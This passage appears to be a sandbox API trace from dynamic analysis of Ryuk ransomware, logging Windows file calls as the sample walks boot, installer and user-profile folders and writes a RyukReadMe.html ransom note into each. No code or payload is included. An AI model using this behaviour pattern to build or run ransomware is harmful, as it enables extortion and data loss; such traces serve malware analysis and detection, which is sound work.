	[0198.274] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.277] CloseHandle (hObject=0x330) returned 1
	[0198.277] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0198.277] SetLastError (dwErrCode=0x0) 
	[0198.277] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.277] GetLastError () returned 0xb7
	[0198.277] CloseHandle (hObject=0x330) returned 1
	[0198.278] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.278] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.278] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.278] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.278] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.279] SetLastError (dwErrCode=0x0) 
	[0198.279] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\RyukReadMe.html" (normalized: "c:\\boot\\zh-cn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.279] GetLastError () returned 0x0
	[0198.279] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.282] CloseHandle (hObject=0x330) returned 1
	[0198.282] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0198.282] SetLastError (dwErrCode=0x0) 
	[0198.283] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.283] GetLastError () returned 0xb7
	[0198.283] CloseHandle (hObject=0x330) returned 1
	[0198.283] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.283] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.284] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.284] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.284] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.284] SetLastError (dwErrCode=0x0) 
	[0198.284] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\RyukReadMe.html" (normalized: "c:\\boot\\zh-hk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.284] GetLastError () returned 0x0
	[0198.284] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.288] CloseHandle (hObject=0x330) returned 1
	[0198.288] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0198.288] SetLastError (dwErrCode=0x0) 
	[0198.288] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.288] GetLastError () returned 0xb7
	[0198.288] CloseHandle (hObject=0x330) returned 1
	[0198.289] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.289] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.289] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0198.289] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0198.290] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0198.290] SetLastError (dwErrCode=0x0) 
	[0198.290] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\RyukReadMe.html" (normalized: "c:\\boot\\zh-tw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.290] GetLastError () returned 0x0
	[0198.290] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.599] CloseHandle (hObject=0x330) returned 1
	[0198.600] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0198.600] FindClose (in: hFindFile=0x29e320 | out: hFindFile=0x29e320) returned 1
	[0198.600] SetLastError (dwErrCode=0x0) 
	[0198.600] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0198.601] GetLastError () returned 0xb7
	[0198.601] CloseHandle (hObject=0x284) returned 1
	[0198.601] FindNextFileW (in: hFindFile=0x29e740, lpFindFileData=0x113540 | out: lpFindFileData=0x113540*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x68, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0198.601] FindNextFileW (in: hFindFile=0x29e740, lpFindFileData=0x113540 | out: lpFindFileData=0x113540*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0198.601] FindNextFileW (in: hFindFile=0x29e740, lpFindFileData=0x113540 | out: lpFindFileData=0x113540*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0198.601] SetLastError (dwErrCode=0x0) 
	[0198.601] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0198.601] GetLastError () returned 0xb7
	[0198.601] CloseHandle (hObject=0x284) returned 1
	[0198.602] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e320
	[0198.602] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.602] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0198.602] FindClose (in: hFindFile=0x29e320 | out: hFindFile=0x29e320) returned 1
	[0198.603] SetLastError (dwErrCode=0x0) 
	[0198.603] CreateFileW (lpFileName="C:\\Config.Msi\\RyukReadMe.html" (normalized: "c:\\config.msi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0198.884] GetLastError () returned 0x0
	[0198.884] WriteFile (in: hFile=0x284, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x113488, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x113488*=0x273, lpOverlapped=0x0) returned 1
	[0198.887] CloseHandle (hObject=0x284) returned 1
	[0198.888] FindNextFileW (in: hFindFile=0x29e740, lpFindFileData=0x113540 | out: lpFindFileData=0x113540*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0198.888] SetLastError (dwErrCode=0x0) 
	[0198.888] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0198.888] GetLastError () returned 0xb7
	[0198.888] CloseHandle (hObject=0x284) returned 1
	[0198.888] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e320
	[0198.889] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.890] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1
	[0198.890] SetLastError (dwErrCode=0x0) 
	[0198.890] CreateFileW (lpFileName="C:\\Documents and Settings\\RyukReadMe.html" (normalized: "c:\\documents and settings\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330
	[0198.890] GetLastError () returned 0x0
	[0198.890] WriteFile (in: hFile=0x330, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0198.893] CloseHandle (hObject=0x330) returned 1
	[0198.894] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0198.894] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.894] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0198.895] SetLastError (dwErrCode=0x0) 
	[0198.895] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338
	[0198.895] GetLastError () returned 0x0
	[0198.895] WriteFile (in: hFile=0x338, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112628, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112628*=0x273, lpOverlapped=0x0) returned 1
	[0198.898] CloseHandle (hObject=0x338) returned 1
	[0198.898] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*", lpFindFileData=0x111fb0 | out: lpFindFileData=0x111fb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e4a0
	[0198.899] FindNextFileW (in: hFindFile=0x29e4a0, lpFindFileData=0x111fb0 | out: lpFindFileData=0x111fb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0198.899] FindNextFileW (in: hFindFile=0x29e4a0, lpFindFileData=0x111fb0 | out: lpFindFileData=0x111fb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0198.899] SetLastError (dwErrCode=0x0) 
	[0198.899] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0198.901] GetLastError () returned 0x0
	[0198.901] WriteFile (in: hFile=0xc8, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x111ef8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x111ef8*=0x273, lpOverlapped=0x0) returned 1
	[0198.904] CloseHandle (hObject=0xc8) returned 1
